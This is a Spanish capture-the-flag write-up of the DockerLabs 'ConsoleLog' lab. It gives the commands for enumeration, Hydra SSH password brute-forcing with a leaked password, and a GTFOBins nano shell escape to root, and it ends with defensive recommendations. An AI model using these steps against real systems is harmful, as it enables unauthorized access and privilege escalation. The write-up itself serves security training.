> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/consolelog.md).

# ConsoleLog

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux a partir de una mala exposicion de archivos de backend. La cadena empieza con enumeracion web, continua con el analisis de un `server.js` expuesto, permite obtener una password reutilizable y termina con una escalada a `root` abusando de `nano`.

***

## Reconocimiento

Se comienza realizando un escaneo de versiones contra la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/nKYt9SuaoNdoQkk16JWz)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version                    |
| -------- | -------- | -------------------------- |
| 80/tcp   | HTTP     | Apache httpd 2.4.61 Debian |
| 3000/tcp | HTTP     | Node.js Express framework  |
| 5000/tcp | SSH      | OpenSSH 9.2p1 Debian       |

La presencia de Apache junto a un backend Node.js en el puerto `3000` es el punto mas interesante para empezar la enumeracion.

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos sobre el puerto `80` con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

![Gobuster](/files/pi1m05YAedM8VoOjVZNl)

Entre los recursos encontrados destacan:

| Recurso          | Codigo | Comentario                    |
| ---------------- | ------ | ----------------------------- |
| `/index.html`    | 200    | Pagina principal              |
| `/backend/`      | 301    | Directorio con codigo backend |
| `/javascript/`   | 301    | Directorio JavaScript         |
| `/server-status` | 403    | Recurso protegido             |

El directorio `/backend/` llama especialmente la atencion porque puede contener codigo fuente o configuraciones internas.

***

## Codigo fuente expuesto

Dentro de `/backend/` se accede al archivo `server.js`:

```
http://172.17.0.2/backend/server.js
```

![server.js](/files/ZAfODTIDGJ3UdfEtwq7x)

El codigo muestra una aplicacion Express escuchando en el puerto `3000` y un endpoint `POST /recurso/` que comprueba un token:

```javascript
app.post('/recurso/', (req, res) => {
    const token = req.body.token;
    if (token === 'tokentraviesito') {
        res.send('lapassworddebackupmaschingonadetodas');
    } else {
        res.status(401).send('Unauthorized');
    }
});
```

De aqui se obtienen dos datos importantes:

| Campo    | Valor                                  |
| -------- | -------------------------------------- |
| Token    | `tokentraviesito`                      |
| Password | `lapassworddebackupmaschingonadetodas` |

Tambien aparece una referencia al dominio interno:

```
consolelog.lab
```

***

## Fuerza bruta SSH

El puerto `5000` expone SSH, pero todavia falta un usuario valido. Como ya se tiene una password candidata, se usa Hydra con una lista de usuarios y esa password fija:

```bash
hydra -L /usr/share/wordlists/rockyou.txt \
  -p "lapassworddebackupmaschingonadetodas" \
  -s 5000 172.17.0.2 ssh
```

![Hydra SSH](/files/KUEI6MReyXabJhDCnjtW)

Hydra encuentra credenciales validas:

```
Usuario: lovely
Password: lapassworddebackupmaschingonadetodas
```

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH al puerto `5000`:

```bash
ssh lovely@172.17.0.2 -p 5000
```

![SSH lovely](/files/XYD9M6a5fQEB6z6DJDzd)

Se obtiene una shell como el usuario `lovely`.

***

## Escalada de privilegios

Para la escalada se revisa GTFOBins y se identifica que `nano` permite invocar una shell interactiva si se ejecuta con privilegios elevados.

![GTFOBins nano](/files/OffvnIvxEn6BjfQUcNl1)

La tecnica consiste en abrir `nano` y, desde dentro, ejecutar comandos con `Ctrl+R`, `Ctrl+X` y el payload:

```bash
reset; sh 1>&0 2>&0
```

Al aplicar la tecnica se obtiene una shell como `root`.

![Root](/files/1XhS7K3iYPpZG1rE4qxh)

Se confirma con:

```bash
id
whoami
```

Resultado:

```
uid=0(root) gid=0(root) groups=0(root)
root
```

Finalmente se accede al directorio `/root` y se valida el control total de la maquina.

***

## Conclusion

La maquina se compromete por una exposicion insegura de codigo fuente en el directorio `/backend/`. El archivo `server.js` revela tanto el token esperado por la API como una password sensible. Con esa password se realiza fuerza bruta de usuarios contra SSH en el puerto `5000`, se obtiene acceso como `lovely` y se escala a `root` abusando de `nano`.

### Puntos clave

| Fase            | Tecnica                | Resultado                     |
| --------------- | ---------------------- | ----------------------------- |
| Reconocimiento  | Nmap                   | HTTP, Node.js y SSH expuestos |
| Enumeracion web | Gobuster               | Directorio `/backend/`        |
| Codigo fuente   | Lectura de `server.js` | Token y password              |
| Credenciales    | Hydra                  | Usuario `lovely`              |
| Acceso inicial  | SSH en puerto `5000`   | Shell como `lovely`           |
| Escalada        | GTFOBins `nano`        | Shell como `root`             |

### Recomendaciones

* No publicar codigo fuente de backend dentro del document root.
* No guardar secretos, tokens o passwords en codigo expuesto.
* Restringir el acceso a servicios internos como Node.js.
* Evitar reutilizar passwords entre servicios.
* Aplicar controles contra fuerza bruta en SSH.
* Revisar reglas de privilegios y evitar permitir editores interactivos con permisos elevados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/consolelog.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
